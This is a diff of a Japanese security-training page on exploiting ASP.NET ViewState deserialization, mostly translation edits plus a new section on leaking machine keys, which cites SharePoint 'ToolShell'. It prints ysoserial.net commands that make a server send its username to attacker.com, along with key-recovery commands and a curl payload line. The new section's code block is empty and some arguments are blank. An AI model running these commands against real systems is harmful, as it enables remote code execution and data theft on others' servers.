diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
index b208e9046..09860b164 100644
--- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
+++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
@@ -1,9 +1,7 @@
-# __VIEWSTATEの秘密を知らずに悪用する
+# __VIEWSTATEを秘密を知らずに悪用する
{{#include ../../banners/hacktricks-training.md}}
-
-
## ViewStateとは
**ViewState**は、ASP.NETにおけるページとコントロールデータをウェブページ間で維持するためのデフォルトメカニズムです。ページのHTMLがレンダリングされる際、ページの現在の状態とポストバック中に保持される値がbase64エンコードされた文字列にシリアライズされます。これらの文字列は、隠しViewStateフィールドに配置されます。
@@ -11,15 +9,15 @@
ViewState情報は、以下の特性またはその組み合わせによって特徴付けられます:
- **Base64**:
-- `EnableViewStateMac`と`ViewStateEncryptionMode`属性の両方がfalseに設定されている場合に使用される形式です。
+- `EnableViewStateMac`と`ViewStateEncryptionMode`属性の両方がfalseに設定されている場合に使用されるフォーマットです。
- **Base64 + MAC (メッセージ認証コード) 有効**:
- MACの有効化は、`EnableViewStateMac`属性をtrueに設定することで達成されます。これにより、ViewStateデータの整合性検証が提供されます。
- **Base64 + 暗号化**:
-- `ViewStateEncryptionMode`属性がtrueに設定されている場合に暗号化が適用され、ViewStateデータの機密性が確保されます。
+- `ViewStateEncryptionMode`属性がtrueに設定されている場合、暗号化が適用され、ViewStateデータの機密性が確保されます。
## テストケース
-画像は、.NETフレームワークのバージョンに基づくASP.NETにおけるViewStateの異なる構成を詳細に示した表です。内容の概要は以下の通りです:
+画像は、.NETフレームワークのバージョンに基づくASP.NETにおけるViewStateの異なる構成を詳細に示す表です。内容の要約は以下の通りです:
1. **任意の.NETバージョン**において、MACと暗号化の両方が無効な場合、MachineKeyは必要なく、したがってそれを特定する適用可能な方法はありません。
2. **4.5未満のバージョン**では、MACが有効で暗号化が無効な場合、MachineKeyが必要です。MachineKeyを特定する方法は「Blacklist3r」と呼ばれます。
@@ -34,19 +32,19 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**ViewState属性の特定**
-BurpSuiteを使用して、このパラメータを含むリクエストをキャプチャすることで、ViewStateがMACで保護されているかどうかを特定しようとすることができます。Macがパラメータを保護するために使用されていない場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)を使用してこれを悪用することができます。
+BurpSuiteを使用して、このパラメータを含むリクエストをキャプチャすることで、ViewStateがMACで保護されているかどうかを特定しようとすることができます。パラメータを保護するためにMacが使用されていない場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)を使用してこれを悪用することができます。
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### Test case 1.5 – Test case 1と同様ですが、ViewStateクッキーはサーバーによって送信されません
-開発者は**ViewState**をHTTPリクエストの一部として送信されないように**削除**することができます(ユーザーはこのクッキーを受け取りません)。\
-**ViewState**が**存在しない**場合、その実装は**ViewStateデシリアライズに起因する潜在的な脆弱性から安全である**と仮定するかもしれません。\
-しかし、それは事実ではありません。リクエストボディに**ViewStateパラメータ**を追加し、ysoserialを使用して作成したシリアライズされたペイロードを送信すれば、**ケース1**で示されているように**コード実行**を達成することができます。
+開発者は**ViewState**をHTTPリクエストの一部として送信しないように**削除**することができます(ユーザーはこのクッキーを受け取りません)。\
+**ViewState**が**存在しない**場合、その実装は**ViewStateのデシリアライズに起因する潜在的な脆弱性**から**安全**であると考えるかもしれません。\
+しかし、それは事実ではありません。リクエストボディに**ViewStateパラメータ**を追加し、ysoserialを使用して作成したシリアライズされたペイロードを送信すれば、**ケース1**に示されているように**コード実行**を達成することができます。
### Test Case: 2 – .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false
-特定のページに対して**ViewState MAC**を**有効にする**ためには、特定のaspxファイルに以下の変更を加える必要があります:
+特定のページに**ViewState MAC**を**有効にする**ためには、特定のaspxファイルに以下の変更を加える必要があります:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
@@ -70,7 +68,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
-[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstate 用には、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。
+[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstates 用には、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。
viewstate と generator を直接提供することができます:
```
@@ -81,7 +79,7 @@ python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgX
```

-または、ターゲットURLに直接接続し、HTMLからviewstateを切り出そうとすることができます:
+または、ターゲットURLに直接接続し、HTMLからviewstateを抽出しようとすることもできます:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
@@ -96,29 +94,29 @@ bbot -f subdomain-enum -m badsecrets -t evil.corp
```

-運が良ければ、キーが見つかり、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**を使用して攻撃を進めることができます。
+運が良ければ、キーが見つかり、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** を使用して攻撃を進めることができます。
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
-サーバーによって`_VIEWSTATEGENERATOR`パラメータが**送信されない**場合、`--generator`パラメータを**提供する必要はありませんが、これらのパラメータは必要です**:
+サーバーによって `_VIEWSTATEGENERATOR` パラメータが **送信されない** 場合、`--generator` パラメータを **提供する必要はありませんが、これらのパラメータは必要です**:
```bash
--apppath="/" --path="/hello.aspx"
```
-### テストケース: 3 – .Net < 4.5 と EnableViewStateMac=true/false と ViewStateEncryptionMode=true
+### テストケース: 3 – .Net < 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true
この場合、パラメータがMACで保護されているかどうかは不明です。そのため、値はおそらく暗号化されており、**脆弱性を悪用するためにペイロードを暗号化するためのマシンキーが必要です**。
**この場合、** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **モジュールは開発中です...**
-**.NET 4.5以前では、** ASP.NETは**`ViewStateEncryptionMode`**が_**Always**_に設定されていても、ユーザーからの**暗号化されていない**\_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NETは**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**確認します**。**このパラメータを削除し、暗号化されていないペイロードを送信すると、それでも処理されます。**
+**.NET 4.5以前では、** ASP.NETは**`ViewStateEncryptionMode`**が_**常に**_に設定されていても、ユーザーからの**未暗号化**\_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NETは**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**確認します**。**このパラメータを削除し、未暗号化のペイロードを送信しても、処理されます。**
-したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) コマンドを**ケース2**で使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。
+したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、**ケース2**で使用された[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)コマンドを使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。
- ViewStateのデシリアライズ脆弱性を悪用するために、リクエストから`__VIEWSTATEENCRYPTED`パラメータを削除してください。そうしないと、Viewstate MAC検証エラーが返され、悪用は失敗します。
-### テストケース: 4 – .Net >= 4.5 と EnableViewStateMac=true/false と ViewStateEncryptionMode=true/false ただし両方の属性がfalseの場合
+### テストケース: 4 – .Net >= 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true/false ただし両方の属性がfalseの場合
以下のパラメータをweb.configファイル内に指定することで、ASP.NETフレームワークの使用を強制できます。
```xml
@@ -138,9 +136,9 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
-IISDirPathとTargetPagePathの詳細な説明については[こちらを参照してください](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
+IISDirPathとTargetPagePathの詳細な説明については、[こちらを参照してください](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
-または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)(生成者値付き)を使用して:
+または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)(ジェネレーター値付き)を使用して:
```bash
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
@@ -155,9 +153,9 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In

-ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証(PoC)で示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認できます。
+ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証(PoC)で示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[成功した悪用のPoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認できます。
-### Test Case 6 – ViewStateUserKeysが使用されている
+### テストケース 6 – ViewStateUserKeysが使用されている
**ViewStateUserKey**プロパティは、**CSRF攻撃**に対して**防御**するために使用できます。そのようなキーがアプリケーションで定義されている場合、これまでに議論した方法で**ViewState**ペイロードを生成しようとすると、**ペイロードはアプリケーションによって処理されません**。\
ペイロードを正しく作成するために、もう1つのパラメータを使用する必要があります:
@@ -166,9 +164,40 @@ ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者
```
### 成功したエクスプロイトの結果
-すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは「**500 Internal server error**」で応答し、応答内容は「**このページの状態情報は無効であり、破損している可能性があります**」となり、OOB リクエストを受け取ります。
+すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは「**500 Internal server error**」で応答し、応答内容は「**このページの状態情報は無効であり、破損している可能性があります**」となり、OOB リクエストを取得します。
-[さらに詳しい情報はこちらを確認してください]()
+[さらに情報を確認するにはこちらをチェックしてください]()
+
+### リフレクションを介したASP.NETマシンキーのダンプ (SharPyShell/SharePoint ToolShell)
+
+ターゲットのウェブルート内で**任意のASPXコードをアップロードまたは実行できる**攻撃者は、ブルートフォースする代わりに`__VIEWSTATE`を保護する秘密鍵を直接取得できます。
+鍵を漏洩させる最小限のペイロードは、リフレクションを通じて内部の.NETクラスを利用します:
+```csharp
+<%@ Import Namespace="System.Web.Configuration" %>
+<%@ Import Namespace="System.Reflection" %>
+
+```
+ページのリクエストは、**ValidationKey**、**DecryptionKey**、暗号化アルゴリズム、およびASP.NET互換モードを出力します。これらの値は、**ysoserial.net**に直接入力して、有効な署名付き`__VIEWSTATE`ガジェットを作成することができます:
+```bash
+ysoserial.exe -p ViewState -g TypeConfuseDelegate \
+-c "powershell -nop -c \"whoami\"" \
+--generator= \
+--validationkey= --validationalg= \
+--decryptionkey= --decryptionalg= \
+--islegacy --minify
+curl "http://victim/page.aspx?__VIEWSTATE="
+```
+この**key-exfiltration primitive**は、2025年にオンプレミスのSharePointサーバーに対して大規模に悪用されました("ToolShell" – CVE-2025-53770/53771)が、攻撃者がサーバーサイドコードを実行できる任意のASP.NETアプリケーションに適用可能です。
## 参考文献
@@ -176,5 +205,6 @@ ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
+- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
{{#include ../../banners/hacktricks-training.md}}